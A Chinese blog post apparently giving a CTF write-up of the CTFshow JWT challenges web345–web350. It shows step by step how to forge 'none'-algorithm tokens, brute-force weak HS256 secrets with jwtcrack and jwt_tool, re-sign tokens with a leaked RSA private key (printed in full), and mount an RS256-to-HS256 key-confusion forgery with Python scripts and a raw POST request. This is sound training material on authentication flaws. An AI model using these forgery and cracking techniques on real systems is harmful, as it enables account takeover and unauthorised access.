CTFSHOW - JWT

文章摘要

Bpple-GPT

CTFSHOW - JWT


首先一个细节,我以前一直以为是jwt进行base64编码,但是其实不然

采用的是base64url编码

  1. 字符集替换
  • Base64
    • 使用字符集:A-Z, a-z, 0-9, +, /(共64个字符)
    • 示例:aGVsbG8=
    • 问题+/在URL、文件名中可能引发冲突(如URL参数会被转义)。
  • Base64URL
    • 替换字符:
      • +-
      • /_
    • 示例:aGVsbG8
    • 作用:避免URL编码冲突,直接嵌入URL参数无需额外转义。
  1. 填充处理
  • Base64
    • 必须使用 =填充至4字节对齐(例如 aGVsbG8=)。
  • Base64URL
    • 通常省略填充符 =(如 aGVsbG8)。
    • 部分实现可能保留填充,需根据具体协议处理。
原始数据 Base64 Base64URL
hello aGVsbG8= aGVsbG8

web345

进入题目可以在cookie中得到这个

 eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjU5NDk2ODQsImV4cCI6MTcyNTk1Njg4NCwibmJmIjoxNzI1OTQ5Njg0LCJzdWIiOiJ1c2VyIiwianRpIjoiMDk0NmQ3MDU4OGJmOGY5MTQ3MjYzYWMzODQzZTMzYjcifV0

image-20240910233241981

我们需要的是修改"sub"值为admin,同时访问/admin/

 eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjU5NDk2ODQsImV4cCI6MTcyNTk1Njg4NCwibmJmIjoxNzI1OTQ5Njg0LCJzdWIiOiJhZG1pbiIsImp0aSI6IjA5NDZkNzA1ODhiZjhmOTE0NzI2M2FjMzg0M2UzM2I3In1d

但是这里只做这个修改不行,同时改算法为HS256才行

 eyJhbGciOiJoczI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjU5NDk2ODQsImV4cCI6MTcyNTk1Njg4NCwibmJmIjoxNzI1OTQ5Njg0LCJzdWIiOiJhZG1pbiIsImp0aSI6IjA5NDZkNzA1ODhiZjhmOTE0NzI2M2FjMzg0M2UzM2I3In1d
 eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MjU5NDk2ODQsImV4cCI6MTcyNTk1Njg4NCwibmJmIjoxNzI1OTQ5Njg0LCJzdWIiOiJhZG1pbiIsImp0aSI6IjA5NDZkNzA1ODhiZjhmOTE0NzI2M2FjMzg0M2UzM2I3In1d.1H0lYhYYy_qVcebYwcGFA0AxwXU_ySAW7bvHZXONCZI

image-20240910145556223

得到flag

web346

可以使用 jwt.io或者jwt_tool工具

 PS E:\Tools\CTF\WEB\jwt_tool> python ./jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODM4NTg2NiwiZXhwIjoxNzM4MzkzMDY2LCJuYmYiOjE3MzgzODU4NjYsInN1YiI6InVzZXIiLCJqdGkiOiJjY2Y0MjcyMDEzYjJlYjhhY2JhYWQ0MDRiNzVhZTBmMiJ9.LHlUX_XsF7FMhDCal2D1G2axnprfxx7tRCe80VY1CTY'
 
         \   \        \         \          \                    \
    \__   |   |  \     |\__    __| \__    __|                    |
          |   |   \    |      |          |       \         \     |
          |        \   |      |          |    __  \     __  \    |
   \      |      _     |      |          |   |     |   |     |   |
    |     |     / \    |      |          |   |     |   |     |   |
 \        |    /   \   |      |          |\        |\        |   |
  \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
  Version 2.2.7                \______|             @ticarpi
 
 Original JWT:
 
 =====================
 Decoded Token Values:
 =====================
 
 Token header values:
 [+] alg = "HS256"
 [+] typ = "JWT"
 
 Token payload values:
 [+] iss = "admin"
 [+] iat = 1738385866    ==> TIMESTAMP = 2025-02-01 12:57:46 (UTC)
 [+] exp = 1738393066    ==> TIMESTAMP = 2025-02-01 14:57:46 (UTC)
 [+] nbf = 1738385866    ==> TIMESTAMP = 2025-02-01 12:57:46 (UTC)
 [+] sub = "user"
 [+] jti = "ccf4272013b2eb8acbaad404b75ae0f2"
 
 Seen timestamps:
 [*] iat was seen
 [*] exp is later than iat by: 0 days, 2 hours, 0 mins
 
 ----------------------
 JWT common timestamps:
 iat = IssuedAt
 exp = Expires
 nbf = NotBefore
 ----------------------

这个题使用的事空密钥绕过,常规修改不行

 {"alg":"none","typ":"JWT"}
 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODM4NTg2NiwiZXhwIjoxNzM4MzkzMDY2LCJuYmYiOjE3MzgzODU4NjYsInN1YiI6ImFkbWluIiwianRpIjoiY2NmNDI3MjAxM2IyZWI4YWNiYWFkNDA0Yjc1YWUwZjIifQ==
 {"iss":"admin","iat":1738385866,"exp":1738393066,"nbf":1738385866,"sub":"admin","jti":"ccf4272013b2eb8acbaad404b75ae0f2"}
 eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODM4NTg2NiwiZXhwIjoxNzM4MzkzMDY2LCJuYmYiOjE3MzgzODU4NjYsInN1YiI6ImFkbWluIiwianRpIjoiY2NmNDI3MjAxM2IyZWI4YWNiYWFkNDA0Yjc1YWUwZjIifQ==

得到flag

 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODM4NTg2NiwiZXhwIjoxNzM4MzkzMDY2LCJuYmYiOjE3MzgzODU4NjYsInN1YiI6ImFkbWluIiwianRpIjoiY2NmNDI3MjAxM2IyZWI4YWNiYWFkNDA0Yjc1YWUwZjIifQ.

web347

进入页面

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODQ3MDEzOSwiZXhwIjoxNzM4NDc3MzM5LCJuYmYiOjE3Mzg0NzAxMzksInN1YiI6InVzZXIiLCJqdGkiOiJlODk3ZjFjZjA5NTViYzE0ZTI2MDljMmFkZjExZTA1MSJ9._op6HxDxwvBlnDwpTiFJK3r5AgsAbPWM87793H6p4_I

这一题是弱密钥,爆破可以爆出来

  1. 使用jwtcrack
bx@bx-VMware-Virtual-Platform:~/桌面/ctf/WEB/c-jwt-cracker$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODQ3MDEzOSwiZXhwIjoxNzM4NDc3MzM5LCJuYmYiOjE3Mzg0NzAxMzksInN1YiI6InVzZXIiLCJqdGkiOiJlODk3ZjFjZjA5NTViYzE0ZTI2MDljMmFkZjExZTA1MSJ9._op6HxDxwvBlnDwpTiFJK3r5AgsAbPWM87793H6p4_I 0123456abc 6 sha256
Secret is "123456"
  1. 利用我们之前那个jwt_tool爆破
PS E:\Tools\CTF\WEB\jwt_tool> python ./jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODQ3MDEzOSwiZXhwIjoxNzM4NDc3MzM5LCJuYmYiOjE3Mzg0NzAxMzksInN1YiI6InVzZXIiLCJqdGkiOiJlODk3ZjFjZjA5NTViYzE0ZTI2MDljMmFkZjExZTA1MSJ9._op6HxDxwvBlnDwpTiFJK3r5AgsAbPWM87793H6p4_I" -C -d jwt-common.txt

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi

Original JWT:

[+] 123456 is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "123456"

image-20250202123120127

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODQ3MDEzOSwiZXhwIjoxNzM4NDc3MzM5LCJuYmYiOjE3Mzg0NzAxMzksInN1YiI6ImFkbWluIiwianRpIjoiZTg5N2YxY2YwOTU1YmMxNGUyNjA5YzJhZGYxMWUwNTEifQ.JEWnv62qMtjK83KekKLEakL5C6obz3XF1fQxAPs9Ezs

得到flag

web348

题目提示:jwt开始啦,爆破

bx@bx-VMware-Virtual-Platform:~/桌面/ctf/WEB/c-jwt-cracker$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODQ3NDQxMywiZXhwIjoxNzM4NDgxNjEzLCJuYmYiOjE3Mzg0NzQ0MTMsInN1YiI6InVzZXIiLCJqdGkiOiJjMTg2YWNjOTY4MWRjZGMwMzViMDMxMmQ1Zjg1ODU5NyJ9.lCzDEfATJu-nxw31o29PIEtGLnJYKCWNB-qEFDpYlgk 0123456abc 6 sha256
Secret is "aaab"

得到密钥

进行修改编码

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczODQ3NDQxMywiZXhwIjoxNzM4NDgxNjEzLCJuYmYiOjE3Mzg0NzQ0MTMsInN1YiI6ImFkbWluIiwianRpIjoiYzE4NmFjYzk2ODFkY2RjMDM1YjAzMTJkNWY4NTg1OTcifQ._X5u00QnT06aZzuYa4ZNfFU4DSUlnLy4_KCaF8Lj54E

web349

给了源码

/* GET home page. */
router.get('/', function(req, res, next) {
    res.type('html');
    var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
    var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
    res.cookie('auth',token);
    res.end('where is flag?');

  });

  router.post('/',function(req,res,next){
      var flag="flag_here";
      res.type('html');
      var auth = req.cookies.auth;
      var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
      jwt.verify(auth, cert, function(err, decoded) {
        if(decoded.user==='admin'){
            res.end(flag);
        }else{
            res.end('you are not admin');
        }
      });
  });

我们可以访问 public.keyprivate.key把公钥和私钥下载下来

  • public
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
  • private
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

我们获取的原始jwt如下

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTczODQ3NTY0Nn0.Z13PT4Tv5LYAM7YwNbMnkdCsICN3-pKtZv_-qgvCfuVe9ZE4FbF2BDgaoXQ6ErfQQxKujeYRdQUt5KiUgOUn7DEPHO7CyAJBhuL5YWPWdcNEGrvAgeNmddFgImE5V2BtK-hdh3UDhgUsnaeZjBhMTLI7pFBwuof8OCciqKb1ltQ

注意一个细节: 必须是POST发包才能得到flag,观察源码可以发现

利用py写一个编解码脚本,非对称加密

import jwt
from jwt.exceptions import InvalidTokenError

# 原始JWT,这里填写你的jwt
original_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTczODQ3NjMwNX0.j30UimIQuskPL-e2kCy0DZLSdI3f-MPITzP0UTpxhRStDa1-sINp-flfFkaoflKp28tnA0RulclINWsKwRMi1fO0M4CVyRqXK143TbsffxbLoILtEI2k5nu-Co56Vo66Bx6dap1v852-FPBh7xuCvYge-Lv_WPQpLFaifokSveo"

# 加载密钥
with open("private.key", "rb") as f:
    private_key = f.read()

with open("public.key", "rb") as f:
    public_key = f.read()

try:
    # 解码原始JWT
    decoded = jwt.decode(original_jwt, public_key, algorithms=["RS256"], options={"verify_signature": True})

    # 修改claims(根据需要调整)
    decoded["user"] = "admin"

    # 生成新JWT
    new_jwt = jwt.encode(
        payload=decoded,
        key=private_key,
        algorithm="RS256",
        headers={"alg": "RS256", "typ": "JWT"}
    )

    print(f"New JWT: {new_jwt}")

except InvalidTokenError as e:
    print(f"Invalid token: {str(e)}")
except Exception as e:
    print(f"Error: {str(e)}")

Payload

POST / HTTP/1.1
Host: 344eb386-48b4-4414-b697-07e353baf764.challenge.ctf.show
Cookie: auth=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3Mzg0NzYzMDV9.mTZBKRBzymkGVpPuE0w8wLgv3270LT1iyCpbt4q9WxbTMJJ1dvch4bj1chUApdnsj2WILEcjQ9YDa93YCSKC_YfHEXOkq-sULpqElQpnuWE2WyY7bMW80kKOp8iS3MKeLXZmQxa4yqTZdN_ZaC3TqccrXBgbaS_OqnoOULXMSrU
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
Referer: https://ctf.show/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: same-site
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-mobile: ?0
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded

在相应之中拿到flag

web350

给了源码

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');

});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

module.exports = router;

找了私钥没找到,学习之后发现,私钥无法获得,因此要把非对称加密变成对称加密

公钥如下

-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----

修改脚本:

import jwt

payload={
  "user": "admin",
  "iat": 1732026256
}

pub=open("public.key","rb").read()
jwt_headers={
  "alg": "HS256",
  "typ": "JWT"
}

jwt_token=jwt.encode(payload,key=pub,algorithm='HS256',headers=jwt_headers,)

print(jwt_token)

Post发包得到flag


用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计